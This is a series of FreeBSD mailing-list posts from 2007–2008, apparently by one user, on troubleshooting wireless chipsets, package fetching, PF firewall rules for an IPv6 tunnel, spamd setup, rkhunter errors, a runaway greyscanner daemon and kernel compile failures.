notice when watching AVI files -- the media player ocassionally stutters.

In any case, suggestions for alternative approaches to mounting remote file
systems via wireless would be most welcome.

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Re: Laptop advice

2008-03-21 Thread Colin Brace
On Fri, Mar 21, 2008 at 10:56 AM, Joe Demeny [EMAIL PROTECTED] wrote:

 I need to get a budget-priced laptop, such as one of these:

  http://www.newegg.com/Product/Product.aspx?Item=N82E16834101123

Read the user comments carefully. For this laptop, you'll find, for example:

---
Cons: RTL8187B wireless chipset. If you want to use a wireless
connection under Linux this will give you problems. Tried several
distros with no success. Was finally able to get it to work
*intermittently* with Windows 98 drivers under Ndiswrapper - XP
drivers would not work.
---

If you plan on using wireless lan, you'll need to read the fine print
very carefully to determine whether there is BSD support for the given
chipset.

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Re: my brother is making me learn FreeBSD...

2008-03-20 Thread Colin Brace
On Thu, Mar 20, 2008 at 8:32 AM, Donald Laniohan [EMAIL PROTECTED] wrote:

 My task is to build a BSD server and do something with it.

To add to the Patrick's list:

make it a DAAP music server. See mt-daapd:

$ cat /usr/ports/audio/mt-daapd/pkg-descr

daapd scans a directory for music files and makes them available via
the Apple proprietary protocol DAAP. DAAP clients can browse the
directory and retrieve individual files, either by streaming or by
downloading them.
WWW: http://mt-daapd.sourceforge.net/

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portupgrade can't fetch packages

2008-03-10 Thread Colin Brace
Hi all,

Earlier today I ran portupgrade -aP to update my system. Alas,
everytime it tried to download a package, it failed and resorted to
downloading and compiling the source. For example:

[...]
---  Checking for the latest package of 'lang/python25'
---  Fetching the package(s) for 'python25-2.5.2_1' (lang/python25)
---  Fetching python25-2.5.2_1
fetch: 
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tbz:
Can't open data connection
** The command returned a non-zero exit status: 1
** Failed to fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tbz
fetch: 
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz:
File unavailable (e.g., file not found, no access)
** The command returned a non-zero exit status: 1
** Failed to fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz
** Failed to fetch python25-2.5.2_1
** Listing the failed packages (-:ignored / *:skipped / !:failed)
! python25-2.5.2_1  (fetch error)
** Could not find the latest version (2.5.2_1)
---  Using the port instead of a package
[...]

However, I could copy and paste the given URL,
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz,
 into another terminal window and download it manually with wget, ftp,
fetch, and/or curl (I tested them all).

What could be preventing portupgrade from being able to download the
packages itself?

Thanks.

$ uname -r
7.0-STABLE

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the daemon that won't die

2008-03-02 Thread Colin Brace
Hi all,

I made the mistake of trying to run greyscanner
http://www.ualberta.ca/~beck/nycbug06/scripts/greyscanner as a
regular user. Now, everytime it runs (every 30 minutes), there is a
cron error from user operator complaining that you need to be root
to run /usr/libexec/save-entropy. Moreover, each time this happens, an
instance of greyscanner, belonging to user operator, remains dormant
in memory, which means an additional instance of perl. After a day or
so most of my swap memory is used. up.

I have tried killing every PID associated with user operator and/or
greyscanner, but like Lazarus the thing keeps rising from the dead
every 30 mins. I can't figure out what process is keeping it alive.

FWIW, here is the relevant snippet from the script:

# daemonize and scan in a loop.

daemonize;
while (1) {
setlogsock('unix');
openlog(greytrapper, 'pid', 'mail') || die can't openlog;
syslog('debug', Scan started);
my $pid;
$pid = fork();
if (!$pid) {
# child. scan away...
scan;
exit(0);
}
# parent waits and sleeps.
wait;
syslog('debug', Scan completed);
sleep($SCAN_INTERVAL);
}

I am not a perl programmer, and it is not immediately obvious what is
going on here.

So, how to I kill this bugger once and for all?

Thanks.

$ uname -r
7.0-PRERELEASE

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Re: the daemon that won't die

2008-03-02 Thread Colin Brace
On Sun, Mar 2, 2008 at 7:05 PM, Christian Walther [EMAIL PROTECTED] wrote:

  If you get an error from *cron* it means that greyscanner is executed
  from cron itself.

Christian,

no, I am not running greyscanner via cron.

However, there is this entry:

# Save some entropy so that /dev/random can re-seed on boot.
*/11   *   *   *   *   operator /usr/libexec/save-entropy

which I have temporarily commented out. The thing is, in terminal, I see this:

$ ps uax | grep greyscanner
operator 84730  0.0  1.1  7928  5468  ??  I 6:44PM   0:00.10
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 84999  0.0  1.1  7928  5468  ??  I 6:55PM   0:00.10
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 85162  0.0  1.1  7928  5468  ??  I 7:00PM   0:00.09
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 85436  0.0  1.1  7928  5468  ??  I 7:11PM   0:00.09
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 85736  0.0  1.1  7928  5468  ??  I 7:22PM   0:00.09
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 86024  0.0  1.1  7928  5468  ??  I 7:33PM   0:00.08
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 86327  0.0  1.1  7928  5468  ??  I 7:44PM   0:00.08
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 86610  0.0  1.1  7928  5468  ??  I 7:55PM   0:00.07
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 86772  0.0  1.1  7928  5468  ??  I 8:00PM   0:00.07
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 87066  0.0  1.1  7928  5468  ??  I 8:11PM   0:00.07
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 87377  0.0  1.1  7928  5468  ??  I 8:22PM   0:00.06
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 87666  0.0  1.1  7928  5468  ??  I 8:33PM   0:00.06
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 88051  0.0  1.1  7928  5468  ??  I 8:44PM   0:00.06
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 88358  0.0  1.1  7928  5468  ??  I 8:55PM   0:00.05
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 88521  0.0  1.1  7928  5468  ??  I 9:00PM   0:00.05
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 88833  0.0  1.1  7928  5468  ??  I 9:11PM   0:00.05
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 89175  0.0  1.1  7928  5468  ??  I 9:22PM   0:00.04
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 89479  0.0  1.1  7928  5468  ??  I 9:33PM   0:00.04
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 89807  0.0  1.1  7928  5468  ??  I 9:44PM   0:00.03
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 90127  0.0  1.1  7928  5468  ??  I 9:55PM   0:00.03
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 90291  0.0  1.1  7928  5468  ??  I10:00PM   0:00.03
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 90604  0.0  1.1  7928  5468  ??  I10:11PM   0:00.02
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 90946  0.0  1.1  7928  5468  ??  I10:22PM   0:00.02
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 91265  0.0  1.1  7928  5468  ??  I10:33PM   0:00.02
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)
operator 91619  0.0  1.1  7928  5468  ??  I10:44PM   0:00.01
/usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8)

I can't figure out what the heck is going on;  what the connection is
between the greyscanner script and the cron errors. Note that the
above is happening every eleven minutes, just like the save-entropy
cron entry.

Thanks.

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PF vs. ping6

2008-02-21 Thread Colin Brace
Hi all,

I am trying to set up a IPv6 tunnel following the instructions in the
handbook 
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-ipv6.html.
aiccu starts ok:

# sixxs-aiccu start
Tunnel Information for T14342:
POP Id  : nlams05
IPv6 Local  : x2/64
IPv6 Remote : x1/64
Tunnel Type : 6in4-heartbeat
Adminstate  : enabled
Userstate   : enabled

I can ping6 localhost, I can ping6 the tunnel begin point (local), but
I can't ping6 the (remote) end point. Firing up tcpdump, I see that
the firewall is blocking the ping packets.

I have these (provisional) rules at the top of the filter section in PF:

pass quick on fxp0 inet6 # ext if
pass quick on gif0 inet6

to no avail; PF is still blocking ping6. Am I missing something here?

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Re: PF vs. ping6

2008-02-21 Thread Colin Brace
On Fri, Feb 22, 2008 at 1:36 AM, Christopher Cowart

  I don't use pf, but I'm guessing from the man page that you may need to
  try:
  pass quick on fxp0 proto 41

Ah, finally, this works:

pass quick on $ext_if proto 41
pass quick on gif0 inet6

which PF interprets as:

pass quick on fxp0 proto ipv6 all keep state
pass quick on gif0 inet6 all flags S/SA keep state

Thanks Christopher, I really appreciate it.

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Re: OT: Whats wrong with gmail?

2008-02-08 Thread Colin Brace
Minor but tiresome: no option to use a non-proportional font to view
your messages.

Apparently, an extension called Better Gmail allowed this at one point
but not now.

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Re: OT: www search engines

2008-02-07 Thread Colin Brace
On Feb 6, 2008 2:10 AM, Erik Osterholm
[EMAIL PROTECTED] wrote:

 Without an ISP's help, they won't know who owns your IP
 address.

And I suppose that if you have a dynamic IP address, even the ISP may
not know, unless they keep records correlating dhcp leases with MAC
addresses or phone lines. I'd be curious to know whether this is done,
just for theoretical reasons.

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rkhunter: find: /dev/fd/3/* No such file or directory error

2008-02-02 Thread Colin Brace
Hi all,

Lately I have been seeing a lot of errors generated when I run
rkhunter on a daily basis by cron:

find: /dev/fd/3/sendmail.st: No such file or directory
find: /dev/fd/3/userlog: No such file or directory
find: /dev/fd/3/lastlog: No such file or directory
[...]

I am afraid I don't know quite enough about the BSD filesystem to know
what dev/fd/3 is. The thought occurs to me that it might have
something to do with my installing  (ob)spamd which requires the
addition of the following line in fstab:

fdescfs /dev/fd fdescfs rw 0 0

Just a wild guess.

FYI:
$ uname -r
7.0-PRERELEASE

Thanks.

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Re: Low Level Language Suggestions: OT

2008-01-25 Thread Colin Brace
Victor,

If you are talking about human language translation, which I gather you are,
then the amount of effort you will need to spend on developing and/or
acquiring linguistic resources and/or building interfaces for linguists to
code dictionaries and grammars, and/or interfaces for editors to render the
output in a decent form, and/or tools to clean up the input, will far
outweigh in importance the computational efficiency of your algorithms.
Deciding between C++, Java, or Python etc. will be the very least of your
problems...

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spamd-setup can't find spamd.conf

2008-01-24 Thread Colin Brace
Hi all,

I am trying to set up spamd to work in conjunction with pf; as a
reference I am using chapter six from Peter Hansteen's The Book of
BF, which I picked up today.

I've installed the spamd port, which many of you will know calls
itself obspamd under FreeBSD, and I have the daemon running now on my
v.7-PRELEASE system. But for some reason I can't update the blacklist
tables:

$ sudo /usr/local/sbin/spamd-setup -n
spamd-setup: Can't find all in spamd config: No such file or directory

Dan mentions this error message in his tutorial:

  If you get the following error message:
   # /usr/local/etc/rc.d/pfspamd start
  Starting pfspamd.
  spamd-setup: Can't find all in spamd config: No such file or directory

  then you probably forget to create /usr/local/etc/spamd.conf (see
above) or you removed the all section from it.

[full: http://www.freebsddiary.org/pf.php ]

Thing is, the file really is there and contains the all statement:

$ grep -A 2 all: /usr/local/etc/spamd.conf
all:\
:uatraps:whitelist:

Anyone have any idea what is going wrong here?

TIA

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Re: spamd-setup can't find spamd.conf

2008-01-24 Thread Colin Brace
On Jan 24, 2008 10:06 PM, Alex Zbyslaw [EMAIL PROTECTED] wrote:

 You could try running it under ktrace to double-check what is actually
 being opened.  Simple to try.

Thanks Alex, that was helpful. Doing so revealed that spamd-setup was
looking for spamd.conf in /usr/local/etc/spamd, not /usr/local/etc/ as
indicated in the documentation I was following. (I now see the man
page for spamd.conf indicates this.)

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Re: Fixing a USB disk to a specific device name

2008-01-20 Thread Colin Brace
I use udev rules to do this. See:


http://www.linuxquestions.org/questions/linux-general-1/make-removable-usb-hdd-mount-at-fixed-mount-point-511917/


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Re: Help From Indonesian....What's the matter with my mouse ??

2008-01-20 Thread Colin Brace
An issue like this is best posted in the appropriate pcbsd forum:

http://forums.pcbsd.org/

with detailed information about your system and dmesg output.

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kernel make error: /usr/src/sys/crypto/rijndael/* missing

2008-01-19 Thread Colin Brace
Hi all,

I am trying to compile the kernel for the first time, and I got an error
message:

make -V CFILES -V SYSTEM_CFILES -V GEN_CFILES |  MKDEP_CPP=cc -E CC=cc
xargs mkdep -a -f .newdep -O2 -pipe -fno-strict-aliasing  -std=c99  -Wall
-Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes
-Wpointer-arith -Winline -Wcast-qual  -Wundef -Wno-pointer-sign
-fformat-extensions -nostdinc  -I. -I/usr/src/sys
-I/usr/src/sys/contrib/altq -I/usr/src/sys/contrib/ipfilter
-I/usr/src/sys/contrib/pf -I/usr/src/sys/dev/ath
-I/usr/src/sys/contrib/ngatm -I/usr/src/sys/dev/twa
-I/usr/src/sys/gnu/fs/xfs/FreeBSD -I/usr/src/sys/gnu/fs/xfs/FreeBSD/support
-I/usr/src/sys/gnu/fs/xfs -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include
opt_global.h -fno-common -finline-limit=8000 --param inline-unit-growth=100
--param large-function-growth=1000  -mno-align-long-strings
-mpreferred-stack-boundary=2  -mno-mmx -mno-3dnow -mno-sse -mno-sse2
-mno-sse3 -ffreestanding
cc: /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c: No such file or
directory
cc: /usr/src/sys/crypto/rijndael/rijndael-api-fst.c: No such file or
directory
cc: /usr/src/sys/crypto/rijndael/rijndael-api.c: No such file or
directory
cc: /usr/src/sys/crypto/sha1.c: No such file or directory
cc: /usr/src/sys/crypto/sha2/sha2.c: No such file or directory
/usr/src/sys/dev/random/hash.c:34:46: error: crypto/rijndael/rijndael-
api-fst.h: No such file or directory
/usr/src/sys/dev/random/hash.c:35:30: error: crypto/sha2/sha2.h: No such
file or directory
/usr/src/sys/dev/random/yarrow.c:40:46: error: crypto/rijndael/rijndael-
api-fst.h: No such file or directory
/usr/src/sys/dev/random/yarrow.c:41:30: error: crypto/sha2/sha2.h: No
such file or directory
/usr/src/sys/net80211/ieee80211_crypto_ccmp.c:51:38: error:
crypto/rijndael/rijndael.h: No such file or directory
In file included from /usr/src/sys/netinet/sctp_os.h:59,
 from /usr/src/sys/netinet/sctp_pcb.h:39,
 from /usr/src/sys/netinet/in_proto.c:80:
/usr/src/sys/netinet/sctp_os_bsd.h:448:25: error: crypto/sha1.h: No such
file or directory
[...]
mkdep: compile failed
*** Error code 1

Stop in /usr/obj/usr/src/sys/VENUS.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

I installed the base and kernel source (CURRENT) with cvsup last night. Any
idea what files I am still missing?

Thanks

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Re: kernel make error: /usr/src/sys/crypto/rijndael/* missing

2008-01-19 Thread Colin Brace
 reference to `xpt_done'
umass.o(.text+0xcfa): In function `umass_cam_action':
: undefined reference to `xpt_done'
umass.o(.text+0xfe5): In function `umass_attach':
: undefined reference to `cam_simq_alloc'
umass.o(.text+0x1039): In function `umass_attach':
: undefined reference to `cam_sim_alloc'
umass.o(.text+0x1065): In function `umass_attach':
: undefined reference to `xpt_bus_register'
umass.o(.text+0x1145): In function `umass_attach':
: undefined reference to `cam_simq_free'
umass.o(.text+0x1281): In function `umass_cam_rescan_callback':
: undefined reference to `xpt_free_path'
umass.o(.text+0x22de): In function `umass_cam_rescan':
: undefined reference to `xpt_periph'
umass.o(.text+0x22ed): In function `umass_cam_rescan':
: undefined reference to `xpt_create_path'
umass.o(.text+0x2323): In function `umass_cam_rescan':
: undefined reference to `xpt_setup_ccb'
umass.o(.text+0x2340): In function `umass_cam_rescan':
: undefined reference to `xpt_action'
umass.o(.text+0x43b): In function `umass_cam_quirk_cb':
: undefined reference to `xpt_done'
umass.o(.text+0x453): In function `umass_cam_quirk_cb':
: undefined reference to `xpt_done'
*** Error code 1

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Re: kernel make error: /usr/src/sys/crypto/rijndael/* missing

2008-01-19 Thread Colin Brace
On Jan 19, 2008 3:16 PM, Kris Kennaway [EMAIL PROTECTED] wrote:

 Some things incorrectly removed from your kernel config.  Compare
 carefully to GENERIC or just revert.

I reverted, then added the ALTQ lines.

Compile time was about an hour on a 1.6Ghz Pentium IV, so that wasn't
so bad. Rebooted OK.

Thanks again.

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Re: FBSD or PCBSD?

2008-01-18 Thread Colin Brace
On Jan 18, 2008 3:27 PM, John Nielsen [EMAIL PROTECTED] wrote:

 Quoting Robin Becker [EMAIL PROTECTED]:

  I have had great success using PCBSD on various acers, I eventually
  got fed up with it being not quite identical to FreeBSD and I now
  have FreeBSD 6.2 on my current acer laptop (a 1680).

 I was unable to even boot my Wife's Acer (an Aspire 5520) with FreeBSD
 6.3-pre or 7.0-pre. I'm also pretty sure the Acer wireless is NOT
 supported by any native drivers;

FWIW, my Acer Aspire 5500Z has Intel 2200 wireless chipset which is
supported by FreeBSD and runs FreeBSD and PC-BSD fine.

Sounds like Acer laptops don't all have the same wireless NIC...

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pkg_add: remote install (-r) broken

2008-01-16 Thread Colin Brace
Hi all,

At some point after my original installation of v.7-BETA3 in late
November and a subsquent upgrade to BETA4 with Colin Percival's
freebsd-update, installing packages remotely with pkg_add on my system
broke. For example:

$ sudo pkg_add -vr rtorrent
scheme:   [ftp]
user: []
password: []
host: [ftp.freebsd.org]
port: [0]
document: [/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz]
--- ftp.freebsd.org:21
looking up ftp.freebsd.org
connecting to ftp.freebsd.org:21
 220 ftp.FreeBSD.org NcFTPd Server (licensed copy) ready.
 USER anonymous
 331 Guest login ok, send your complete e-mail address as password.
 PASS [EMAIL PROTECTED]
 230-You are user #181 of 1000 simultaneous users allowed.
 230-
 230 Logged in anonymously.
 PWD
 257 / is cwd.
 CWD pub/FreeBSD/ports/i386/packages-7-current/Latest
 250 /pub/FreeBSD/ports/i386/packages-7-current/Latest is new cwd.
 MODE S
 200 Mode okay.
 TYPE I
 200 Type okay.
binding data socket
 PORT 172,19,3,3,209,68
 200 PORT command successful.
initiating transfer
 RETR rtorrent.tbz
 550 Cannot connect to 78.27.2.208:53572 - Unknown error: 0.
Error: FTP Unable to get
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz:
File unavailable (e.g., file not found, no access)
pkg_add: unable to fetch
'ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz'
by URL
pkg_add: 1 package addition(s) failed

Now, I *know* the package and host are online; I can copy and paste
the URL from the screen to grab it with wget:

wget 
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz

This works.

What could be going wrong with add_pkg here?

As I indicate above, I am currently at 7.0-BETA4

Thanks.

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Re: batch rename

2008-01-07 Thread Colin Brace
On Jan 5, 2008 6:34 AM, Jeff Laine [EMAIL PROTECTED] wrote:

 My goal is to rename several files in such a way as to decapitalize starting
 letters in their names.
 The solution seems to be simple but I'm stuck. What should I use? awk/sed or
 write some shell-script?

If you want to forsake the command line, krename is great for this
kind of thing. From the website:

What is KRename ?
Rename is a powerful batch renamer for KDE. It allows you to easily
rename hundreds or even more files in one go. The filenames can be
created by parts of the original filename, numbering the files or
accessing hundreds of informations about the file, like creation date
or Exif informations of an image.

http://www.krename.net/

-- 
  Colin Brace
  Amsterdam
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acx100 under 7.0-BETA3

2007-12-01 Thread Colin Brace
Hi all,

I have a wireless card with the Texas Instruments ACX 111 chipset that
appears to be supported by the acx100 driver.

However, when I run make install in /usr/ports/net/acx100, I get an error
message:

$ sudo make install
===  acx100-20040701_1 is marked as broken: Does not compile on FreeBSD =
6.x.
*** Error code 1

On the developers web page http://dev.kewl.org/acx100+111/, he indicates
that it has been tested under CURRENT and source tarballs are available
dated 29 October.

What would be the best strategy at this point? Try to compile it outside the
port tree? Wait until the latter has been updated? Send a message to the
maintainer?

Thanks.

-- 
 Colin Brace
 Amsterdam
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